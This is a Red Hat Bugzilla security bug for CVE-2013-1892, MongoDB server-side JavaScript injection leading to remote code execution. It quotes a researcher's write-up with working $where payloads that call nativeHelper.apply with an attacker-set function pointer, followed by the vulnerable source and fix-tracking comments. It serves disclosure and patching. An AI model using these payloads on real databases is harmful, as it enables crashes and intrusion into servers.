Bug 927536 - (CVE-2013-1892) CVE-2013-1892 MongoDB: Server Side JavaScript Includes allow Remote Code Execution
CVE-2013-1892 MongoDB: Server Side JavaScript Includes allow Remote Code Exec...
Status: CLOSED ERRATA
Product: Security Response
Classification: Other
Component: vulnerability (Show other bugs)
unspecified
All Linux
high Severity high
: ---
: ---
Assigned To: Red Hat Product Security
impact=important,public=20130324,repo...
: Security
Depends On: 928192 928193 928194 928195 928639 928640 928641 969587
Blocks: 928628
  Show dependency treegraph
 
Reported: 2013-03-26 03:19 EDT by Kurt Seifried
Modified: 2015-08-21 17:15 EDT (History)
27 users (show)

See Also:
Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Story Points: ---
Clone Of:
Environment:
Last Closed: 2014-09-07 01:08:24 EDT
Type: ---
Regression: ---
Mount Type: ---
Documentation: ---
CRM:
Verified Versions:
Category: ---
oVirt Team: ---
RHEL 7.3 requirements from Atomic Host:


Attachments (Terms of Use)


External Trackers
Tracker ID Priority Status Summary Last Updated
Debian BTS 704042 None None None Never

  None (edit)
Description Kurt Seifried 2013-03-26 03:19:51 EDT
SCRT Information Security reports:

mongodb – SSJI to RCE
Posted on mars 24, 2013	 par agixid
Lucky discovery

Trying some server side javascript injection in mongodb, I wondered if it would be possible to pop a shell.
The run method seems good for this :

> run("uname","-a")
Sun Mar 24 07:09:49 shell: started program uname -a
sh1838| Linux mongo 2.6.32-5-686 #1 SMP Sun Sep 23 09:49:36 UTC 2012 i686 GNU/Linux
0
Unfortunately, this command is only effective in mongo client :

> db.my_collection.find({$where:"run('ls')"})
error: {
 "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run is not defined nofile_a:0",
 "code" : 10071
}
But let’s dig a little bit.

> run
function () {
    return nativeHelper.apply(run_, arguments);
}
So you can run the « run » function directly by calling nativeHelper.apply(run_,["uname","-a"]);
In server side, the result show us that nativeHelper.apply method exists !

> db.my_collection.find({$where:'nativeHelper.apply(run_, ["uname","-a"]);'})
error: {
       "$err" : "error on invocation of $where function:\nJS Error: ReferenceError: run_ is not defined nofile_a:0",
       "code" : 10071
}
So what’s run_ ?

So what's "run_"
> run_
{ "x" : 135246144 }
An associative array, can we use it in server side ?

> db.my_collection.find({$where:'nativeHelper.apply({"x":135246144}, ["uname","-a"]);'})
Sun Mar 24 07:15:26 DBClientCursor::init call() failed
Sun Mar 24 07:15:26 query failed : sthack.my_collection { $where: "nativeHelper.apply({"x":135246144}, ["uname","-a"]);" } to: 127.0.0.1:27017
Error: error doing query: failed
Sun Mar 24 07:15:26 trying reconnect to 127.0.0.1:27017
Sun Mar 24 07:15:26 reconnect 127.0.0.1:27017 failed couldn't connect to server 127.0.0.1:27017
The server crashed \o/ !

Let’s check the source code :
./src/mongo/scripting/engine_spidermonkey.cpp

JSBool native_helper( JSContext *cx , JSObject *obj , uintN argc, jsval *argv , jsval *rval ) {
        try {
            Convertor c(cx);
            NativeFunction func = reinterpret_cast(
                    static_cast( c.getNumber( obj , "x" ) ) );
            void* data = reinterpret_cast<void*>(
                    static_cast( c.getNumber( obj , "y" ) ) );
            verify( func );

            BSONObj a;
            if ( argc > 0 ) {
                BSONObjBuilder args;
                for ( uintN i = 0; i < argc; ++i ) {
                    c.append( args , args.numStr( i ) , argv[i] );
                }
                a = args.obj();
            }

            BSONObj out;
            try {
                out = func( a, data );
            }
            catch ( std::exception& e ) {
nativeHelper is a crazy feature in spidermonkey missused by mongodb:
the NativeFunction func come from x javascript object and then is called without any check !!!

> db.my_collection.find({$where:'nativeHelper.apply({"x":0x31337}, ["uname","-a"]);'})

Sun Mar 24 07:20:03 Invalid access at address: 0x31337 from thread: conn1
Sun Mar 24 07:20:03 Got signal: 11 (Segmentation fault).

External references:
http://blog.scrt.ch/2013/03/24/mongodb-0-day-ssji-to-rce/
Comment 1 Troy Dawson 2013-03-26 11:59:19 EDT
Has this been tried on the Fedora's mongodb?
I ask that because we use v8 instead of spidermonkey, but I'm not positive that our version of mongodb didn't get something slipped in.
Comment 2 Kurt Seifried 2013-03-27 01:56:52 EDT
Created mongodb tracking bugs for this issue

Affects: epel-all [bug 928192]
Comment 3 Kurt Seifried 2013-03-27 01:58:04 EDT
Created mongodb tracking bugs for this issue

Affects: fedora-all [bug 928193]
Comment 6 Jan Lieskovsky 2013-03-27 07:00:23 EDT
References:
  http://www.openwall.com/lists/oss-security/2013/03/25/7

Relevant upstream tracker:
  https://jira.mongodb.org/browse/SERVER-9124
Comment 11 Kurt Seifried 2013-07-26 02:15:27 EDT
Removed due to typo.
Comment 12 errata-xmlrpc 2013-08-21 13:29:32 EDT
This issue has been addressed in following products:

  MRG for RHEL-6 v.2

Via RHSA-2013:1170 https://rhn.redhat.com/errata/RHSA-2013-1170.html
Comment 13 Kurt Seifried 2014-08-08 15:39:52 EDT
Red Hat Update Infrastructure 2.1.3 is now in Production 2 Phase of the support and maintenance life cycle. This has been rated as having Important security impact, however as used in RHUI this issue is not exposed to untrusted users, as such it is not currently planned to be addressed in future updates. For additional information, refer to the Red Hat Update Infrastructure Life Cycle: https://access.redhat.com/support/policy/updates/rhui.

Note You need to log in before you can comment on or make changes to this bug.